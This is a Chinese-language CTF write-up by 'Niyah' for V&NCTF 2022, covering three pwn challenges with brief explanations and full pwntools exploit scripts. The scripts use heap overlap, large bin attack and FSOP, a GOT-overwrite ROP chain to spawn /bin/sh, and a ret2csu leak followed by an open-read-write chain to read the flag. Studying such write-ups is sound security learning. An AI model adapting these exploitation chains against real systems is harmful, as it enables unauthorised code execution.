Niyah

V&NCTF-WriteUp-Niyah

还是 tcl

# V&NCTF-WriteUp-Niyah

Niyah

# Pwn

HindOnHeap 没 IO 函数玩不明白,冰墩墩估计最后要弹个 shell,webpwn 没试过网络编程,摆了

# FShuiMaster

2.27 下的 offbynull,只能申请 Large Bin 以上的堆块

思路很清晰,直接构造堆块重叠,之后 Large Bin Attack 打 _IO_list_all 最后退出程序时执行 Fsop

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './FShuiMaster'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 0
if DEBUG:
    libc = elf.libc
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm','-g','1234', binary])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '28791'
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12     : ras(int( p.recv(x) , 16))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.success('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla(':',num)

def add(size , text = 'a'):
    cmd(1)
    sla('words?' , size)
    se( text)

def edit(idx , text):
    cmd(2)
    sla('change' , idx)
    sa(str(idx) + '\n' , text)

def show(idx ):
    cmd(4)
    sla('scan' , idx)

def delete(idx ):
    cmd(3)
    sla('off' , idx)
# one_gad = one_gadget(libc.path)

def pack_file(_flags = 0,
    _IO_read_ptr = 0,
    _IO_read_end = 0,
    _IO_read_base = 0,
    _IO_write_base = 0,
    _IO_write_ptr = 0,
    _IO_write_end = 0,
    _IO_buf_base = 0,
    _IO_buf_end = 0,
    _IO_save_base = 0,
    _IO_backup_base = 0,
    _IO_save_end = 0,
    _IO_marker = 0,
    _IO_chain = 0,
    _fileno = 0,
    _lock = 0,
    _wide_data = 0,
    _mode = 0):
    file_struct = p32(_flags) + \
        p32(0) + \
        p64(_IO_read_ptr) + \
        p64(_IO_read_end) + \
        p64(_IO_read_base) + \
        p64(_IO_write_base) + \
        p64(_IO_write_ptr) + \
        p64(_IO_write_end) + \
        p64(_IO_buf_base) + \
        p64(_IO_buf_end) + \
        p64(_IO_save_base) + \
        p64(_IO_backup_base) + \
        p64(_IO_save_end) + \
        p64(_IO_marker) + \
        p64(_IO_chain) + \
        p32(_fileno)
    file_struct = file_struct.ljust(0x88, '\x00')
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, '\x00')
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, '\x00')
    return file_struct

def attack():
    
    sa('the Book\n' , '/bin/sh\x00\n')
    add(0x608 ) #0
    add(0x508 ) #1
    add(0x4f8 ) #2
    add(0x4f8 ) #3

    delete(0)
    edit(1 , 'a'*0x500 + p64(0x610 + 0x510))
    delete(2)
    add(0x608) #4
    show(1)

    __malloc_hook = l64() - 0x70
    libc.address = __malloc_hook - libc.sym['__malloc_hook']
    system_addr = libc.sym['system']
    __free_hook = libc.sym['__free_hook']
    binsh_addr = libc.search('/bin/sh').next()
    lg('__free_hook',__free_hook)
    IO_list_all = libc.symbols['_IO_list_all']
    IO_str_jumps = libc.address + 0x3e8360

    fake_file = pack_file(_IO_read_base = IO_list_all-0x10,
                    _IO_write_base=0,
                    _IO_write_ptr=1,
                    _IO_buf_base=binsh_addr,
                    _mode=0,)
    fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system_addr)

    add(0x508) #5
    add(0x4f8) #6
    add(0x518) #7
    add(0x518) #8

    delete(1)
    delete(7)
    add(0x508 ,  'a'*0x8) #9
    show(5)

    ru('a'*0x8)
    heap_addr = uu64(6)
    add(0x518) #10
    delete(9)

    add(0x518)
    delete(3)
    edit(5 , flat(__malloc_hook + 0x10 + 1168,__malloc_hook + 0x10 + 1168,heap_addr+0xf10,IO_list_all-0x20) + '\n')
    add(0x528)
    add(0x4f8 , fake_file[0x10:])
    edit(5 , fake_file[0x10:])

    # dbg()

    # p.success(getShell())
    p.interactive()

attack()

'''
@File    :   FShuiMaster.py
@Time    :   2022/02/12 14:54:04
@Author  :   Niyah 
'''

# clear_got

很明显的栈溢出,程序中还给了几个 gadget 难点在于如何去利用本题最后把 got 表给扬了。

我的思路是,在程序进行溢出劫持控制流时刚好寄存器 rax 的值为 0,那么就趁这次机会写一下 got 表方便下次进行 read,我们把一些不中用的函数 got 表填 ret ,这样下次重新执行 main 时才不会出错

然而之后重新进入 main 的时候因为 got 表的缺失所以不能泄露了,因此我选择在第一次进行 rop 的时候就利用下面的 gadget 片段来进行系统调用泄露出 libc 可以直接去泄露 stdout

.text:0000000000400773                 push    rbp
.text:0000000000400774                 mov     rbp, rsp
.text:0000000000400777                 mov     rax, 1
.text:000000000040077E                 syscall                 ; LINUX - sys_write
.text:0000000000400780                 retn

重新进入 main 函数,直接把无关函数调用 return,最后 read 将 rop 链弄到当前栈上(当前栈关系到第一次 Rop 时输入的 rbp,可以是 bss 段)输入 system ("/bin/sh") 的 rop 链 getshell

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './clear_got'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.23-buu.so')
DEBUG = 0
if DEBUG:
    libc = elf.libc
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm','-g','1234', binary])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '28198'
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12     : ras(int( p.recv(x) , 16))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.success('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla(':',num)

# one_gad = one_gadget(libc.path)

def attack():

    stdout = 0x601060
    pop_rdi_ret = 0x00000000004007f3
    pop_rsi_r15_ret = 0x00000000004007f1
    rax_syscall_ret = 0x000000000400777
    syscall_ret = 0x000000000040077E
    syscall_ret1 = 0x00000000040076E
    main_addr = 0x0000000004006F3
    leave_ret = 0x0000000000400761
    ret = 0x000000000400762

    fake_puts = 0x0000000000400773
    fake_funk = 0x0000000000400782
    fake_read = 0x000000000040076E
    got = 0x0000000000601018

    # dbg('*0x000000000400762')
    got_table = flat(
        ret , ret,
        ret , ret,
        fake_read , 0,
        main_addr
    )

    payload = flat(
        pop_rdi_ret , 0,
        pop_rsi_r15_ret , got , 0,
        syscall_ret ,
        pop_rdi_ret , 1,
        pop_rsi_r15_ret , stdout , 0,
        rax_syscall_ret,
        main_addr
    )


    sa('competition.///' , 'a'*0x60 + p64(0x601080) + payload )

    # # dbg()
    raw_input()
    se(got_table)

    libc.address = l64() - libc.sym['_IO_2_1_stdout_']
    system_addr = libc.sym['system']
    binsh_addr = libc.search('/bin/sh\x00').next()

    raw_input()
    payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

    se(payload)

    # p.success(getShell())
    p.interactive()

attack()

'''
@File    :   clear_got.py
@Time    :   2022/02/12 15:54:52
@Author  :   Niyah 
'''

# easyROPtocol

同样是比较直接的栈溢出,程序最多可以保留四个 tcp ,每个 tcp 数据段的长度大于 0xf00 而 submit 时直接将所有 tcp 数据复制到了栈上,给栈开辟的空间却只有差不多 0x3000 大小,这样就造成了栈溢出

比较消耗时间地方就是输入的 tcp 需要 check 一下检查一下 head ,这个比较简单,第二个 check 就是差不多一个校验位,对 "fakeipheadfa" 和 tcp 包括头在内的所有数据每一字进行循环异或得到一个校验位

进行两次 ROP 的操作,第一次使用 ret2csu 泄露出 libc 并返回到 mian 函数中,第二次 ROP 用 orw 泄露出 flag ,这里有一个小细节,由于第一次 ROP 的时候 payload 较长,因此 free 掉之后会有很多残留,因此最好把不需要的地方用’\x00’来填充,这样校验的时候就不会出错,由于第一次的 ROP 没有地址的变化,我们可以直接动调最后 cmp 的时候查看,但是第二次 ROP 就需要我们来自己算了

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './easyROPtocol'
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.31.so')
DEBUG = 1
if DEBUG:
    libc = elf.libc
    p = process(binary)
    # p = process(['qemu-arm', binary])
else:
    host = 'node4.buuoj.cn'
    port = 28856
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12     : ras(int( p.recv(x) , 16))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(num):
    sla('Quit.',num)

def add(payload):
    cmd(1)
    sleep(0.5)
    # raw_input()
    se(payload)
    # raw_input()
    sleep(0.5)

def delete(idx):
    cmd(2)
    sla('Which?' , idx)

def tcphead( offset , check ):
    return p16(0x766e) + p16(0x28b7) + p32(offset) + p32(1) + p16(6) + p16(1) + p16(check) + p16(0) + p16(0xffff)+ p16(0xffff)

def csu( call_addr ,rdi , rsi , rdx):
    pop_rbx_r15_ret = 0x401BAA
    mov_call = 0x401B90
    arg = flat(
        0 , 1 , 
        rdi , rsi , rdx,
        call_addr,
    )
    return flat(pop_rbx_r15_ret , arg , mov_call) 

# one_gad = one_gadget(libc.path)

def attack():
    
    main = 0x000000000401A5E
    bss_addr = 0x404270
    free_got = elf.got['free']
    write_got = elf.got['write']
    read_got = elf.got['read']
    ret = 0x401BB4

    payload = tcphead( 1, 0x4ad5) + 'a'*0xf80

    add(payload)
    payload = tcphead( 0x1001, 0x5ad5) + 'a'*0xf80
    add(payload)
    payload = tcphead( 0x2001, 0x6ad5) + 'a'*0xf80
    add(payload)

    payload = tcphead( 0x3001, 0x62fa) + 'a'*0x1a8 
    payload += csu(write_got , 1,write_got,0x8)
    payload += '\x00'*0x38
    payload += csu(read_got , 0,bss_addr,0x8)
    payload += '\x00'*0x38
    payload += p64(0x000000000401A5E)

    cmd(1)
    se(payload)
    # dbg()
    cmd(3)

    libc.address = l64() - libc.sym['write']
    se('flag\x00')

    read_addr = libc.sym['read']
    open_addr = libc.sym['open']
    puts_addr = libc.sym['puts']
    pop_rax_ret = libc.search(asm('pop rax; ret')).next()
    pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
    pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
    pop_rdx_ret = libc.search(asm('pop rdx; ret')).next()
    pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
    ret = pop_rdi_ret + 1

    flag_addr = bss_addr
    chain = flat(
        pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
        pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
        pop_rdi_ret , flag_addr , puts_addr
    )
    # len chain 0x80
    check = 0x7ad5
    for i in range(0,len(chain) , 2):
        check ^= u16(chain[i : i+2])
        print(hex(u16(chain[i : i+2])) , hex(check))

    delete(3)
    payload = tcphead( 0x3001, check) + 'a'*0x1a8 
    payload += chain

    cmd(1)
    sleep(0.5)
    se('\x00'*0x1000)
    sleep(0.5)

    cmd(1)
    sleep(0.5)
    se(payload)
    sleep(0.5)
    cmd(3)
    sleep(0.5)

    # dbg()

    # # p.success(getShell())
    p.interactive()

attack()

'''
@File    :   easyROPtocol.py
@Time    :   2022/02/12 11:07:18
@Author  :   Niyah 
'''

# Misc

# 问卷

钝角

# Web

# GameV4.0

游戏题 F12 开始翻,直接 flag 找到 base64 解出来

image-20220212201936225

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。